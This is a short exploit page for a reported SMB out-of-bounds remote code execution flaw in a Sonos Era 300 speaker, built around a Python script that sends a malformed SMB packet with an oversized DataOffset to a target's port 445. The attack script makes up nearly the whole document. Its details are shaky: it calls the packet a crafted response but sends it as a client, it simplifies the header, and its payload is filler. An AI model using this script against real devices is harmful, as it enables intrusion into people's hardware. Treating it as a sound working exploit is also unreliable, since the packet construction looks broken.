CVE-2026-4149 Sonos Era 300 SMB越界访问RCE漏洞

import socket import struct # Proof of Concept for CVE-2026-4149 # This script attempts to trigger the Out-Of-Bounds access by sending # a crafted SMB response with a malicious DataOffset field. # Note: This is a conceptual demonstration for educational purposes. def send_exploit(target_ip, target_port=445): print(f"[*] Targeting {target_ip}:{target_port}") try: # Establish connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Malicious SMB Header (Simplified) # The vulnerability lies in the DataOffset field handling smb_magic = b'\xffSMB' command = b'\x00' status = b'\x00\x00\x00\x00' flags = b'\x00\x00' flags2 = b'\x00\x00' pid_high = b'\x00\x00' security_features = b'\x00\x00\x00\x00' reserved = b'\x00\x00\x00\x00' tid = b'\x00\x00' pid_low = b'\x00\x00' uid = b'\x00\x00' mid = b'\x00\x00' # Constructing the packet # A valid DataOffset might be 0x40 (64), we set it to an invalid high value # to force an Out-Of-Bounds Read/Write. malformed_data_offset = struct.pack('<I', 0xFFFFFF00) header = smb_magic + command + status + flags + flags2 + pid_high header += security_features + reserved + tid + pid_low + uid + mid # In a real exploit, the offset points to a controlled memory region # Payload follows here payload = b'A' * 100 # Combine Header and Malformed Offset # The actual structure depends on the specific SMB command dialect used full_packet = header + malformed_data_offset + payload print("[*] Sending malformed SMB packet...") s.send(full_packet) print("[+] Packet sent. Check device status for crash or code execution.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP # send_exploit("192.168.1.100") pass